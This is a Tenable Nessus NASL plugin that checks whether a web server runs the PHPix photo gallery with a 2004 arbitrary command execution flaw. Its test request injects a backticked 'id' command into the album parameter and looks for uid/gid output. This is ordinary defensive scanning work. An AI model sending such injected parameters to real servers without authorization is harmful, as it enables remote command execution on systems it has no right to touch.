PHPix index.phtml Multiple Parameter Arbitrary Command Execution

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(12026);
  script_version("1.24");
  script_set_attribute(attribute:"plugin_modification_date", value:"2025/11/03");
  script_bugtraq_id(9458);

  script_name(english:"PHPix index.phtml Multiple Parameter Arbitrary Command Execution");

  script_set_attribute(attribute:"synopsis", value:
"Arbitrary code may be run on the remote server.");
  script_set_attribute(attribute:"description", value:
"The remote host is running phpix, a PHP-based photo gallery suite.

Multiple vulnerabilities have been discovered in this product, which may
allow a remote attacker to execute arbitrary commands with the
privileges of the HTTP server.");
  script_set_attribute(attribute:"solution", value:
"Upgrade to the latest version of this CGI suite.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"manual");
  script_set_attribute(attribute:"cvss_score_rationale", value:"Tenable score for arbitrary command execution vulnerability");
  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2004/01/29");
  script_set_attribute(attribute:"plugin_publication_date", value:"2004/01/20");
  script_set_attribute(attribute:"enable_cgi_scanning", value:"true");
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:phpix:phpix");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2004-2025 Tenable Network Security, Inc.");

  script_dependencies("find_service1.nasl", "http_version.nasl");
  script_require_keys("www/PHP");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("http.inc");
include("torture_cgi.inc");

port = get_http_port(default:80);

if(!can_host_php(port:port))
  exit(0);


http_check_remote_code(
  port:port,
  extra_dirs:make_list("/phpix"),
  check_request:"/index.phtml?mode=view&album=`id`&pic=A=10.jpg&dispsize=640&start=0",
  check_result:"uid=[0-9]+.*gid=[0-9]+.*",
  command:"id"
);